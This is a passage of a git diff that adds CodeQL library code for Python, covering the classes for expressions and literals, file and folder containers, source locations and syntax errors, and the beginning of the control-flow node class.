Gets the object of this attribute. That is the `obj` in `obj.name` */ + Expr getObject() { + result = Attribute_.super.getValue() + } + + /** Gets the expression corresponding to the object of the attribute, if the name of the attribute is `name`. + * Equivalent to `this.getObject() and this.getName() = name`. */ + Expr getObject(string name) { + result = Attribute_.super.getValue() and + name = Attribute_.super.getAttr() + } + +} + +/** A subscript expression, such as `value[slice]` */ +class Subscript extends Subscript_ { + + override Expr getASubExpression() { + result = this.getIndex() + or + result = this.getObject() + } + + Expr getObject() { + result = Subscript_.super.getValue() + } + + override SubscriptNode getAFlowNode() { result = super.getAFlowNode() } +} + +/** A call expression, such as `func(...)` */ +class Call extends Call_ { + + override Expr getASubExpression() { + result = this.getAPositionalArg() or + result = this.getAKeyword().getValue() or + result = this.getFunc() + } + + override predicate hasSideEffects() { + any() + } + + override string toString() { + result = this.getFunc().toString() + "()" + } + + override CallNode getAFlowNode() { result = super.getAFlowNode() } + + /** Gets a tuple (*) argument of this class definition. */ + Expr getStarargs() { + result = this.getAPositionalArg().(Starred).getValue() + } + + /** Gets a dictionary (**) argument of this class definition. */ + Expr getKwargs() { + result = this.getANamedArg().(DictUnpacking).getValue() + } + + /* Backwards compatibility */ + + /** Gets the nth keyword argument of this call expression, provided it is not preceded by a double-starred argument. + * This exists primarily for backwards compatibility. You are recommended to use + * Call.getNamedArg(index) instead. + * */ + Keyword getKeyword(int index) { + result = this.getNamedArg(index) and not exists(DictUnpacking d, int lower | d = this.getNamedArg(lower) and lower < index) + } + + /** Gets a keyword argument of this call expression, provided it is not preceded by a double-starred argument. + * This exists primarily for backwards compatibility. You are recommended to use + * Call.getANamedArg() instead. + * */ + Keyword getAKeyword() { + result = this.getKeyword(_) + } + + /** Gets the positional argument at `index`, provided it is not preceded by a starred argument. + * This exists primarily for backwards compatibility. You are recommended to use + * Call.getPositionalArg(index) instead. + */ + Expr getArg(int index) { + result = this.getPositionalArg(index) and + not result instanceof Starred and + not exists(Starred s, int lower | s = this.getPositionalArg(lower) and lower < index) + } + + /** Gets a positional argument, provided it is not preceded by a starred argument. + * This exists primarily for backwards compatibility. You are recommended to use + * Call.getAPositionalArg() instead. + */ + Expr getAnArg() { + result = this.getArg(_) + } + + override AstNode getAChildNode() { + result = this.getAPositionalArg() or + result = this.getANamedArg() or + result = this.getFunc() + } + + /** Gets the name of a named argument, including those passed in dict literals. */ + string getANamedArgumentName() { + result = this.getAKeyword().getArg() + or + result = this.getKwargs().(Dict).getAKey().(StrConst).getText() + } + +} + +/** A conditional expression such as, `body if test else orelse` */ +class IfExp extends IfExp_ { + + override Expr getASubExpression() { + result = this.getTest() or result = this.getBody() or result = this.getOrelse() + } + + override IfExprNode getAFlowNode() { result = super.getAFlowNode() } +} + +/** A starred expression, such as the `*rest` in the assignment `first, *rest = seq` */ +class Starred extends Starred_ { + + override Expr getASubExpression() { + result = this.getValue() + } + +} + + +/** A yield expression, such as `yield value` */ +class Yield extends Yield_ { + + override Expr getASubExpression() { + result = this.getValue() + } + + override predicate hasSideEffects() { + any() + } + +} + +/** A yield expression, such as `yield from value` */ +class YieldFrom extends YieldFrom_ { + + override Expr getASubExpression() { + result = this.getValue() + } + + override predicate hasSideEffects() { + any() + } + +} + +/** A repr (backticks) expression, such as `` `value` `` */ +class Repr extends Repr_ { + + override Expr getASubExpression() { + result = this.getValue() + } + + override predicate hasSideEffects() { + any() + } + +} + +/* Constants */ + +/** A bytes constant, such as `b'ascii'`. Note that unadorned string constants such as + `"hello"` are treated as Bytes for Python2, but Unicode for Python3. */ +class Bytes extends StrConst { + + Bytes() { + not this.isUnicode() + } + + override Object getLiteralObject() { + py_cobjecttypes(result, theBytesType()) and + py_cobjectnames(result, this.quotedString()) + } + + /** The extractor puts quotes into the name of each string (to prevent "0" clashing with 0). + * The following predicate help us match up a string/byte literals in the source + * which the equivalent object. + */ + private string quotedString() { + exists(string b_unquoted | + b_unquoted = this.getS() | + result = "b'" + b_unquoted + "'" + ) + } + +} + +/** An ellipsis expression, such as `...` */ +class Ellipsis extends Ellipsis_ { + + override Expr getASubExpression() { + none() + } + +} + +/** Immutable literal expressions (except tuples). + * Consists of string (both unicode and byte) literals + * and numeric literals. + */ +abstract class ImmutableLiteral extends Expr { + + abstract Object getLiteralObject(); + + abstract boolean booleanValue(); + +} + +/** A numerical constant expression, such as `7` or `4.2` */ +abstract class Num extends Num_, ImmutableLiteral { + + override Expr getASubExpression() { + none() + } + + /* We want to declare this abstract, but currently we cannot. */ + override string toString() { + none() + } + +} + +/** An integer numeric constant, such as `7` or `0x9` */ +class IntegerLiteral extends Num { + + IntegerLiteral() { + not this instanceof FloatLiteral and not this instanceof ImaginaryLiteral + } + + /** Gets the (integer) value of this constant. Will not return a result if the value does not fit into + a 32 bit signed value */ + int getValue() { + result = this.getN().toInt() + } + + override string toString() { + result = "IntegerLiteral" + } + + override Object getLiteralObject() { + py_cobjecttypes(result, theIntType()) and py_cobjectnames(result, this.getN()) + or + py_cobjecttypes(result, theLongType()) and py_cobjectnames(result, this.getN()) + } + + override boolean booleanValue() { + this.getValue() = 0 and result = false + or + this.getValue() != 0 and result = true + } + +} + +/** A floating point numeric constant, such as `0.4` or `4e3` */ +class FloatLiteral extends Num { + + FloatLiteral() { + not this instanceof ImaginaryLiteral and + exists(string n | n = this.getN() | n.charAt(_) = "." or n.charAt(_) = "e" or n.charAt(_) = "E") + } + + float getValue() { + result = this.getN().toFloat() + } + + override string toString() { + result = "FloatLiteral" + } + + override Object getLiteralObject() { + py_cobjecttypes(result, theFloatType()) and py_cobjectnames(result, this.getN()) + } + + override boolean booleanValue() { + this.getValue() = 0.0 and result = false + or + // In QL 0.0 != -0.0 + this.getValue() = -0.0 and result = false + or + this.getValue() != 0.0 and this.getValue() != -0.0 and result = true + } + +} + +/** An imaginary numeric constant, such as `3j` */ +class ImaginaryLiteral extends Num { + + ImaginaryLiteral() { + exists(string n | n = this.getN() | n.charAt(_) = "j") + } + + /** Gets the value of this constant as a floating point value */ + float getValue() { + exists(string s, int j | s = this.getN() and s.charAt(j) = "j" | + result = s.prefix(j).toFloat()) + } + + override string toString() { + result = "ImaginaryLiteral" + } + + override Object getLiteralObject() { + py_cobjecttypes(result, theComplexType()) and py_cobjectnames(result, this.getN()) + } + + override boolean booleanValue() { + this.getValue() = 0.0 and result = false + or + // In QL 0.0 != -0.0 + this.getValue() = -0.0 and result = false + or + this.getValue() != 0.0 and this.getValue() != -0.0 and result = true + } + +} + +/** A unicode string expression, such as `u"\u20ac"`. Note that unadorned string constants such as + "hello" are treated as Bytes for Python2, but Unicode for Python3. */ +class Unicode extends StrConst { + + Unicode() { + this.isUnicode() + } + + override Object getLiteralObject() { + py_cobjecttypes(result, theUnicodeType()) and + py_cobjectnames(result, this.quotedString()) + } + + /** The extractor puts quotes into the name of each string (to prevent "0" clashing with 0). + * The following predicate help us match up a string/byte literals in the source + * which the equivalent object. + */ + string quotedString() { + exists(string u_unquoted | + u_unquoted = this.getS() | + result = "u'" + u_unquoted + "'" + ) + } + +} + + +/* Compound Values */ + +/** A dictionary expression, such as `{'key':'value'}` */ +class Dict extends Dict_ { + + /** Gets the value of an item of this dict display */ + Expr getAValue() { + result = this.getAnItem().(DictDisplayItem).getValue() + } + + /** Gets the key of an item of this dict display, for those items that have keys + * E.g, in {'a':1, **b} this returns only 'a' + */ + Expr getAKey() { + result = this.getAnItem().(KeyValuePair).getKey() + } + + override Expr getASubExpression() { + result = this.getAValue() or result = this.getAKey() + } + + AstNode getAChildNode() { + result = this.getAnItem() + } + +} + +/** A list expression, such as `[ 1, 3, 5, 7, 9 ]` */ +class List extends List_ { + + override Expr getASubExpression() { + result = this.getAnElt() + } + +} + +/** A set expression such as `{ 1, 3, 5, 7, 9 }` */ +class Set extends Set_ { + + override Expr getASubExpression() { + result = this.getAnElt() + } + +} + +class PlaceHolder extends PlaceHolder_ { + + string getId() { + result = this.getVariable().getId() + } + + override Expr getASubExpression() { + none() + } + + override string toString() { + result = "$" + this.getId() + } + + override NameNode getAFlowNode() { result = super.getAFlowNode() } +} + +/** A tuple expression such as `( 1, 3, 5, 7, 9 )` */ +class Tuple extends Tuple_ { + + override Expr getASubExpression() { + result = this.getAnElt() + } + +} + +/** A (plain variable) name expression, such as `var`. + * `None`, `True` and `False` are excluded. + */ +class Name extends Name_ { + + string getId() { + result = this.getVariable().getId() + } + + /** Whether this expression is a definition */ + predicate isDefinition() { + py_expr_contexts(_, 5, this) or + /* Treat Param as a definition (which it is) */ + py_expr_contexts(_, 4, this) or + /* The target in an augmented assignment is also a definition (and a use) */ + exists(AugAssign aa | aa.getTarget() = this) + } + + /** Whether this expression defines variable `v` + * If doing dataflow, then consider using SsaVariable.getDefinition() for more precision. */ + override predicate defines(Variable v) { + this.isDefinition() + and + v = this.getVariable() + } + + /** Whether this expression is a definition */ + predicate isDeletion() { + py_expr_contexts(_, 2, this) + } + + /** Whether this expression deletes variable `v`. + * If doing dataflow, then consider using SsaVariable.getDefinition() for more precision. */ + predicate deletes(Variable v) { + this.isDeletion() + and + v = this.getVariable() + } + + /** Whether this expression is a use */ + predicate isUse() { + py_expr_contexts(_, 3, this) + } + + /** Whether this expression is a use of variable `v` + * If doing dataflow, then consider using SsaVariable.getAUse() for more precision. */ + predicate uses(Variable v) { + this.isUse() + and + v = this.getVariable() + } + + override predicate isConstant() { + none() + } + + override Expr getASubExpression() { + none() + } + + override string toString() { + result = this.getId() + } + + override NameNode getAFlowNode() { result = super.getAFlowNode() } + + override predicate isArtificial() { + /* Artificial variable names in comprehensions all start with "." */ + this.getId().charAt(0) = "." + } + +} + +class Filter extends Filter_ { + + override Expr getASubExpression() { + result = this.getFilter() + or + result = this.getValue() + } + +} + + +/** A slice. E.g `0:1` in the expression `x[0:1]` */ +class Slice extends Slice_ { + + override Expr getASubExpression() { + result = this.getStart() or + result = this.getStop() or + result = this.getStep() + } + +} + +/** A string constant. */ +class StrConst extends Str_, ImmutableLiteral { + + predicate isUnicode() { + this.getPrefix().charAt(_) = "u" + or + this.getPrefix().charAt(_) = "U" + or + not this.getPrefix().charAt(_) = "b" and major_version() = 3 + or + not this.getPrefix().charAt(_) = "b" and this.getEnclosingModule().hasFromFuture("unicode_literals") + } + + override + string strValue() { + result = this.getS() + } + + override Expr getASubExpression() { + none() + } + + override AstNode getAChildNode() { + result = this.getAnImplicitlyConcatenatedPart() + } + + /** Gets the text of this str constant */ + string getText() { + result = this.getS() + } + + /** Whether this is a docstring */ + predicate isDocString() { + exists(Scope s | s.getDocString() = this) + } + + override boolean booleanValue() { + this.getText() = "" and result = false + or + this.getText() != "" and result = true + } + + override Object getLiteralObject() { none() } + +} + +private predicate name_consts(Name_ n, string id) { + exists(Variable v | + py_variables(v, n) and id = v.getId() | + id = "True" or id = "False" or id = "None" + ) +} + +/** A named constant, one of `None`, `True` or `False` */ +abstract class NameConstant extends Name, ImmutableLiteral { + + NameConstant() { + name_consts(this, _) + } + + override Expr getASubExpression() { + none() + } + + override string toString() { + name_consts(this, result) + } + + override predicate isConstant() { + any() + } + + override NameConstantNode getAFlowNode() { result = Name.super.getAFlowNode() } + + override predicate isArtificial() { + none() + } + +} + +/** A boolean named constant, either `True` or `False` */ +abstract class BooleanLiteral extends NameConstant { + +} + +/** The boolean named constant `True` */ +class True extends BooleanLiteral { + + True() { + name_consts(this, "True") + } + + override Object getLiteralObject() { + name_consts(this, "True") and result = theTrueObject() + } + + override boolean booleanValue() { + result = true + } + +} + +/** The boolean named constant `False` */ +class False extends BooleanLiteral { + + False() { + name_consts(this, "False") + } + + override Object getLiteralObject() { + name_consts(this, "False") and result = theFalseObject() + } + + override boolean booleanValue() { + result = false + } + +} + +/** `None` */ +class None extends NameConstant { + + None() { + name_consts(this, "None") + } + + override Object getLiteralObject() { + name_consts(this, "None") and result = theNoneObject() + } + + override boolean booleanValue() { + result = false + } + +} + +/** An await expression such as `await coro`. */ +class Await extends Await_ { + + override Expr getASubExpression() { + result = this.getValue() + } + +} + +/** A formatted string literal expression, such as `f'hello {world!s}'` */ +class Fstring extends Fstring_ { + + override Expr getASubExpression() { + result = this.getAValue() + } + +} + +/** A formatted value (within a formatted string literal). + * For example, in the string `f'hello {world!s}'` the formatted value is `world!s`. + */ +class FormattedValue extends FormattedValue_ { + + override Expr getASubExpression() { + result = this.getValue() or + result = this.getFormatSpec() + } + + +} + +/* Expression Contexts */ + +/** A context in which an expression used */ +class ExprContext extends ExprContext_ { + +} + +/** Load context, the context of var in len(var) */ +class Load extends Load_ { + +} + +/** Store context, the context of var in var = 0 */ +class Store extends Store_ { + +} + +/** Delete context, the context of var in del var */ +class Del extends Del_ { + +} + +/** This is an artifact of the Python grammar which includes an AugLoad context, even though it is never used. */ +library class AugLoad extends AugLoad_ { + +} + +/** Augmented store context, the context of var in var += 1 */ +class AugStore extends AugStore_ { + +} + +/** Parameter context, the context of var in def f(var): pass */ +class Param extends Param_ { + +} + + diff --git a/python/ql/src/semmle/python/Files.qll b/python/ql/src/semmle/python/Files.qll new file mode 100644 index 00000000000..b52809db7a7 --- /dev/null +++ b/python/ql/src/semmle/python/Files.qll @@ -0,0 +1,506 @@ + +import python + +/** A file */ +class File extends Container { + + File() { + files(this, _, _, _, _) + } + + /** DEPRECATED: Use `getAbsolutePath` instead. */ + override string getName() { + files(this, result, _, _, _) + } + + /** DEPRECATED: Use `getAbsolutePath` instead. */ + string getFullName() { + result = getName() + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + this.getName() = filepath and bl = 0 and bc = 0 and el = 0 and ec = 0 + } + + /** Whether this file is a source code file. */ + predicate fromSource() { + /* If we start to analyse .pyc files, then this will have to change. */ + any() + } + + /** Gets a short name for this file (just the file name) */ + string getShortName() { + exists(string simple, string ext | files(this, _, simple, ext, _) | + result = simple + ext) + } + + private int lastLine() { + result = max(int i | exists(Location l | l.getFile() = this and l.getEndLine() = i)) + } + + /** Whether line n is empty (it contains neither code nor comment). */ + predicate emptyLine(int n) { + n in [0..this.lastLine()] + and + not occupied_line(this, n) + } + + string getSpecifiedEncoding() { + exists(Comment c, Location l | + l = c.getLocation() and l.getFile() = this | + l.getStartLine() < 3 and + result = c.getText().regexpCapture(".*coding[:=]\\s*([-\\w.]+).*", 1) + ) + } + + override string getAbsolutePath() { + files(this, result, _, _, _) + } + + /** Gets the URL of this file. */ + override string getURL() { + result = "file://" + this.getAbsolutePath() + ":0:0:0:0" + } + + override Container getImportRoot(int n) { + /* File stem must be a legal Python identifier */ + this.getStem().regexpMatch("[^\\d\\W]\\w*") and + result = this.getParent().getImportRoot(n) + } + + /** Gets the contents of this file as a string. + * This will only work for those non-python files that + * are specified to be extracted. + */ + string getContents() { + file_contents(this, result) + } + +} + +private predicate occupied_line(File f, int n) { + exists(Location l | + l.getFile() = f | + l.getStartLine() = n + or + exists(StrConst s | s.getLocation() = l | + n in [l.getStartLine() .. l.getEndLine()] + ) + ) +} + +/** A folder (directory) */ +class Folder extends Container { + + Folder() { + folders(this, _, _) + } + + /** DEPRECATED: Use `getAbsolutePath` instead. */ + override string getName() { + folders(this, result, _) + } + + /** DEPRECATED: Use `getBaseName` instead. */ + string getSimple() { + folders(this, _, result) + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + this.getName() = filepath and bl = 0 and bc = 0 and el = 0 and ec = 0 + } + + override string getAbsolutePath() { + folders(this, result, _) + } + + /** Gets the URL of this folder. */ + override string getURL() { + result = "folder://" + this.getAbsolutePath() + } + + override Container getImportRoot(int n) { + this.isImportRoot(n) and result = this + or + /* Folder must be a legal Python identifier */ + this.getBaseName().regexpMatch("[^\\d\\W]\\w*") and + result = this.getParent().getImportRoot(n) + } + +} + +/** A container is an abstract representation of a file system object that can + hold elements of interest. */ +abstract class Container extends @container { + + Container getParent() { + containerparent(result, this) + } + + /** Gets a child of this container */ + deprecated Container getChild() { + containerparent(this, result) + } + + /** + * Gets a textual representation of the path of this container. + * + * This is the absolute path of the container. + */ + string toString() { + result = this.getAbsolutePath() + } + + /** Gets the name of this container */ + abstract string getName(); + + /** + * Gets the relative path of this file or folder from the root folder of the + * analyzed source location. The relative path of the root folder itself is + * the empty string. + * + * This has no result if the container is outside the source root, that is, + * if the root folder is not a reflexive, transitive parent of this container. + */ + string getRelativePath() { + exists (string absPath, string pref | + absPath = this.getAbsolutePath() and sourceLocationPrefix(pref) | + absPath = pref and result = "" + or + absPath = pref.regexpReplaceAll("/$", "") + "/" + result and + not result.matches("/%") + ) + } + + /** Whether this file or folder is part of the standard library */ + predicate inStdlib() { + this.inStdlib(_, _) + } + + /** Whether this file or folder is part of the standard library + * for version `major.minor` + */ + predicate inStdlib(int major, int minor) { + exists(Module m | + m.getPath() = this and + m.inStdLib(major, minor) + ) + } + + /* Standard cross-language API */ + + /** Gets a file or sub-folder in this container. */ + Container getAChildContainer() { + containerparent(this, result) + } + + /** Gets a file in this container. */ + File getAFile() { + result = this.getAChildContainer() + } + + /** Gets a sub-folder in this container. */ + Folder getAFolder() { + result = this.getAChildContainer() + } + + /** + * Gets the absolute, canonical path of this container, using forward slashes + * as path separator. + * + * The path starts with a _root prefix_ followed by zero or more _path + * segments_ separated by forward slashes. + * + * The root prefix is of one of the following forms: + * + * 1. A single forward slash `/` (Unix-style) + * 2. An upper-case drive letter followed by a colon and a forward slash, + * such as `C:/` (Windows-style) + * 3. Two forward slashes, a computer name, and then another forward slash, + * such as `//FileServer/` (UNC-style) + * + * Path segments are never empty (that is, absolute paths never contain two + * contiguous slashes, except as part of a UNC-style root prefix). Also, path + * segments never contain forward slashes, and no path segment is of the + * form `.` (one dot) or `..` (two dots). + * + * Note that an absolute path never ends with a forward slash, except if it is + * a bare root prefix, that is, the path has no path segments. A container + * whose absolute path has no segments is always a `Folder`, not a `File`. + */ + abstract string getAbsolutePath(); + + /** + * Gets the base name of this container including extension, that is, the last + * segment of its absolute path, or the empty string if it has no segments. + * + * Here are some examples of absolute paths and the corresponding base names + * (surrounded with quotes to avoid ambiguity): + * + * + * + * + * + * + * + * + * + *
    Absolute pathBase name
    "/tmp/tst.py""tst.py"
    "C:/Program Files (x86)""Program Files (x86)"
    "/"""
    "C:/"""
    "D:/"""
    "//FileServer/"""
    + */ + string getBaseName() { + result = getAbsolutePath().regexpCapture(".*/(([^/]*?)(?:\\.([^.]*))?)", 1) + } + + /** + * Gets the extension of this container, that is, the suffix of its base name + * after the last dot character, if any. + * + * In particular, + * + * - if the name does not include a dot, there is no extension, so this + * predicate has no result; + * - if the name ends in a dot, the extension is the empty string; + * - if the name contains multiple dots, the extension follows the last dot. + * + * Here are some examples of absolute paths and the corresponding extensions + * (surrounded with quotes to avoid ambiguity): + * + * + * + * + * + * + * + * + *
    Absolute pathExtension
    "/tmp/tst.py""py"
    "/tmp/.gitignore""gitignore"
    "/bin/bash"not defined
    "/tmp/tst2."""
    "/tmp/x.tar.gz""gz"
    + */ + string getExtension() { + result = getAbsolutePath().regexpCapture(".*/([^/]*?)(\\.([^.]*))?", 3) + } + + /** + * Gets the stem of this container, that is, the prefix of its base name up to + * (but not including) the last dot character if there is one, or the entire + * base name if there is not. + * + * Here are some examples of absolute paths and the corresponding stems + * (surrounded with quotes to avoid ambiguity): + * + * + * + * + * + * + * + * + *
    Absolute pathStem
    "/tmp/tst.py""tst"
    "/tmp/.gitignore"""
    "/bin/bash""bash"
    "/tmp/tst2.""tst2"
    "/tmp/x.tar.gz""x.tar"
    + */ + string getStem() { + result = getAbsolutePath().regexpCapture(".*/([^/]*?)(?:\\.([^.]*))?", 1) + } + + File getFile(string baseName) { + result = this.getAFile() and + result.getBaseName() = baseName + } + + Folder getFolder(string baseName) { + result = this.getAFolder() and + result.getBaseName() = baseName + } + + Container getParentContainer() { + this = result.getAChildContainer() + } + + Container getChildContainer(string baseName) { + result = this.getAChildContainer() and + result.getBaseName() = baseName + } + + /** + * Gets a URL representing the location of this container. + * + * For more information see https://lgtm.com/help/ql/locations#providing-urls. + */ + abstract string getURL(); + + /** Holds if this folder is on the import path. */ + predicate isImportRoot() { + this.isImportRoot(_) + } + + /** Holds if this folder is on the import path, at index `n` in the list of + * paths. The list of paths is composed of the paths passed to the extractor and + * `sys.path`. */ + predicate isImportRoot(int n) { + this.getName() = import_path_element(n) + } + + /** Holds if this folder is the root folder for the standard library. */ + predicate isStdLibRoot(int major, int minor) { + major = major_version() and minor = minor_version() and + this.isStdLibRoot() + } + + /** Holds if this folder is the root folder for the standard library. */ + predicate isStdLibRoot() { + /* Look for a standard lib module and find its import path + * We use `os` as it is the most likely to be imported and + * `tty` because it is small for testing. + */ + exists(Module m | + m.getName() = "os" or m.getName() = "tty" + | + m.getFile().getImportRoot() = this + ) + } + + /** Gets the path element from which this container would be loaded. */ + Container getImportRoot() { + exists(int n | + result = this.getImportRoot(n) and + not exists(int m | + exists(this.getImportRoot(m)) and + m < n + ) + ) + } + + /** Gets the path element from which this container would be loaded, given the index into the list of possible paths `n`. */ + abstract Container getImportRoot(int n); + +} + +private string import_path_element(int n) { + exists(string path, string pathsep, int k | + path = get_path("extractor.path") and k = 0 + or + path = get_path("sys.path") and k = count(get_path("extractor.path").splitAt(pathsep)) + | + py_flags_versioned("os.pathsep", pathsep, _) and + result = path.splitAt(pathsep, n-k).replaceAll("\\", "/") + ) +} + +private string get_path(string name) { + py_flags_versioned(name, result, _) +} + +class Location extends @location { + + /** Gets the file for this location */ + File getFile() { + locations_default(this, result, _, _, _, _) + or + exists(Module m | locations_ast(this, m, _, _, _, _) | + result = m.getFile() + ) + } + + /** Gets the start line of this location */ + int getStartLine() { + locations_default(this, _, result, _, _, _) + or locations_ast(this,_,result,_,_,_) + } + + /** Gets the start column of this location */ + int getStartColumn() { + locations_default(this, _, _, result, _, _) + or locations_ast(this, _, _, result, _, _) + } + + /** Gets the end line of this location */ + int getEndLine() { + locations_default(this, _, _, _, result, _) + or locations_ast(this, _, _, _, result, _) + } + + /** Gets the end column of this location */ + int getEndColumn() { + locations_default(this, _, _, _, _, result) + or locations_ast(this, _, _, _, _, result) + } + + string toString() { + result = this.getFile().getName() + ":" + this.getStartLine().toString() + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + exists(File f | f.getName() = filepath | + locations_default(this, f, bl, bc, el, ec) + or + exists(Module m | m.getFile() = f | + locations_ast(this, m, bl, bc, el, ec)) + ) + } + +} + +/** A non-empty line in the source code */ +class Line extends @py_line { + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + exists(Module m | m.getFile().getName() = filepath and + el = bl and bc = 1 and + py_line_lengths(this, m, bl, ec)) + } + + string toString() { + exists(Module m | py_line_lengths(this, m, _, _) | + result = m.getFile().getShortName() + ":" + this.getLineNumber().toString() + ) + } + + /** Gets the line number of this line */ + int getLineNumber() { + py_line_lengths(this, _, result, _) + } + + /** Gets the length of this line */ + int getLength() { + py_line_lengths(this, _, _, result) + } + + /** Gets the file for this line */ + Module getModule() { + py_line_lengths(this, result, _, _) + } + +} + +/** A syntax error. Note that if there is a syntax error in a module, + much information about that module will be lost */ +class SyntaxError extends Location { + + SyntaxError() { + py_syntax_error_versioned(this, _, major_version().toString()) + } + + override string toString() { + result = "Syntax Error" + } + + /** Gets the message corresponding to this syntax error */ + string getMessage() { + py_syntax_error_versioned(this, result, major_version().toString()) + } + +} + +/** An encoding error. Note that if there is an encoding error in a module, + much information about that module will be lost */ +class EncodingError extends SyntaxError { + + EncodingError() { + /* Leave spaces around 'decode' in unlikely event it occurs as a name in a syntax error */ + this.getMessage().toLowerCase().matches("% decode %") + } + + override string toString() { + result = "Encoding Error" + } + +} + + diff --git a/python/ql/src/semmle/python/Flow.qll b/python/ql/src/semmle/python/Flow.qll new file mode 100755 index 00000000000..a465d88533a --- /dev/null +++ b/python/ql/src/semmle/python/Flow.qll @@ -0,0 +1,1047 @@ +import python +import semmle.python.flow.NameNode +private import semmle.python.pointsto.PointsTo + + +/* Note about matching parent and child nodes and CFG splitting: + * + * As a result of CFG splitting a single AST node may have multiple CFG nodes. + * Therefore, when matching CFG nodes to children, we need to make sure that + * we don't match the child of one CFG node to the wrong parent. + * We do this by checking dominance. If the CFG node for the parent precedes that of + * the child, then he child node matches the parent node if it is dominated by it. + * Vice versa for child nodes that precede the parent. + */ + + +private predicate augstore(ControlFlowNode load, ControlFlowNode store) { + exists(Expr load_store | exists(AugAssign aa | aa.getTarget() = load_store) | + toAst(load) = load_store and + toAst(store) = load_store and + load.strictlyDominates(store) + ) +} + +/** A non-dispatched getNode() to avoid negative recursion issues */ +private AstNode toAst(ControlFlowNode n) { + py_flow_bb_node(n, result, _, _) +} + +/** A control flow node. Control flow nodes have a many-to-one relation with syntactic nodes, + * although most syntactic nodes have only one corresponding control flow node. +* Edges between control flow nodes include exceptional as well as normal control flow. +*/ +class ControlFlowNode extends @py_flow_node { + + /** Whether this control flow node is a load (including those in augmented assignments) */ + predicate isLoad() { + exists(Expr e | e = toAst(this) | py_expr_contexts(_, 3, e) and not augstore(_, this)) + } + + /** Whether this control flow node is a store (including those in augmented assignments) */ + predicate isStore() { + exists(Expr e | e = toAst(this) | py_expr_contexts(_, 5, e) or augstore(_, this)) + } + + /** Whether this control flow node is a delete */ + predicate isDelete() { + exists(Expr e | e = toAst(this) | py_expr_contexts(_, 2, e)) + } + + /** Whether this control flow node is a parameter */ + predicate isParameter() { + exists(Expr e | e = toAst(this) | py_expr_contexts(_, 4, e)) + } + + /** Whether this control flow node is a store in an augmented assignment */ + predicate isAugStore() { + augstore(_, this) + } + + /** Whether this control flow node is a load in an augmented assignment */ + predicate isAugLoad() { + augstore(this, _) + } + + /** Whether this flow node corresponds to a literal */ + predicate isLiteral() { + toAst(this) instanceof Bytes + or + toAst(this) instanceof Dict + or + toAst(this) instanceof DictComp + or + toAst(this) instanceof Set + or + toAst(this) instanceof SetComp + or + toAst(this) instanceof Ellipsis + or + toAst(this) instanceof GeneratorExp + or + toAst(this) instanceof Lambda + or + toAst(this) instanceof ListComp + or + toAst(this) instanceof List + or + toAst(this) instanceof Num + or + toAst(this) instanceof Tuple + or + toAst(this) instanceof Unicode + or + toAst(this) instanceof NameConstant + } + + /** Use NameNode.isLoad() instead */ + deprecated predicate isUse() { + toAst(this) instanceof Name and this.isLoad() + } + + /** Use NameNode.isStore() */ + deprecated predicate isDefinition() { + toAst(this) instanceof Name and this.isStore() + } + + /** Whether this flow node corresponds to an attribute expression */ + predicate isAttribute() { + toAst(this) instanceof Attribute + } + + /** Use AttrNode.isLoad() instead */ + deprecated predicate isAttributeLoad() { + toAst(this) instanceof Attribute and this.isLoad() + } + + /** Use AttrNode.isStore() instead */ + deprecated predicate isAttributeStore() { + toAst(this) instanceof Attribute and this.isStore() + } + + /** Whether this flow node corresponds to an subscript expression */ + predicate isSubscript() { + toAst(this) instanceof Subscript + } + + /** Use SubscriptNode.isLoad() instead */ + deprecated predicate isSubscriptLoad() { + toAst(this) instanceof Subscript and this.isLoad() + } + + /** Use SubscriptNode.isStore() instead */ + deprecated predicate isSubscriptStore() { + toAst(this) instanceof Subscript and this.isStore() + } + + /** Whether this flow node corresponds to an import member */ + predicate isImportMember() { + toAst(this) instanceof ImportMember + } + + /** Whether this flow node corresponds to a call */ + predicate isCall() { + toAst(this) instanceof Call + } + + /** Whether this flow node is the first in a module */ + predicate isModuleEntry() { + this.isEntryNode() and toAst(this) instanceof Module + } + + /** Whether this flow node corresponds to an import */ + predicate isImport() { + toAst(this) instanceof ImportExpr + } + + /** Whether this flow node corresponds to a conditional expression */ + predicate isIfExp() { + toAst(this) instanceof IfExp + } + + /** Whether this flow node corresponds to a function definition expression */ + predicate isFunction() { + toAst(this) instanceof FunctionExpr + } + + /** Whether this flow node corresponds to a class definition expression */ + predicate isClass() { + toAst(this) instanceof ClassExpr + } + + /** Gets a predecessor of this flow node */ + ControlFlowNode getAPredecessor() { + py_successors(result, this) + } + + /** Gets a successor of this flow node */ + ControlFlowNode getASuccessor() { + py_successors(this, result) + } + + /** Gets the immediate dominator of this flow node */ + ControlFlowNode getImmediateDominator() { + py_idoms(this, result) + } + + /** Gets the syntactic element corresponding to this flow node */ + AstNode getNode() { + py_flow_bb_node(this, result, _, _) + } + + string toString() { + exists(Scope s | s.getEntryNode() = this | + result = "Entry node for " + s.toString() + ) + or + exists(Scope s | s.getANormalExit() = this | + result = "Exit node for " + s.toString() + ) + or + not exists(Scope s | s.getEntryNode() = this or s.getANormalExit() = this) and + result = "ControlFlowNode for " + this.getNode().toString() + } + + /** Gets the location of this ControlFlowNode */ + Location getLocation() { + result = this.getNode().getLocation() + } + + /** Whether this flow node is the first in its scope */ + predicate isEntryNode() { + py_scope_flow(this, _, -1) + } + + /** Use ControlFlowNode.refersTo() instead. */ + deprecated Object pointsTo() { + this.refersTo(result) + } + + /** Gets what this flow node might "refer-to". Performs a combination of localized (intra-procedural) points-to + * analysis and global module-level analysis. This points-to analysis favours precision over recall. It is highly + * precise, but may not provide information for a significant number of flow-nodes. + * If the class is unimportant then use `refersTo(value)` or `refersTo(value, origin)` instead. + */ + predicate refersTo(Object value, ClassObject cls, ControlFlowNode origin) { + not py_special_objects(cls, "_semmle_unknown_type") + and + not value = unknownValue() + and + PointsTo::points_to(this, _, value, cls, origin) + } + + /** Gets what this expression might "refer-to" in the given `context`. + */ + predicate refersTo(Context context, Object value, ClassObject cls, ControlFlowNode origin) { + not py_special_objects(cls, "_semmle_unknown_type") + and + PointsTo::points_to(this, context, value, cls, origin) + } + + /** Whether this flow node might "refer-to" to `value` which is from `origin` + * Unlike `this.refersTo(value, _, origin)` this predicate includes results + * where the class cannot be inferred. + */ + predicate refersTo(Object value, ControlFlowNode origin) { + PointsTo::points_to(this, _, value, _, origin) + and + not value = unknownValue() + 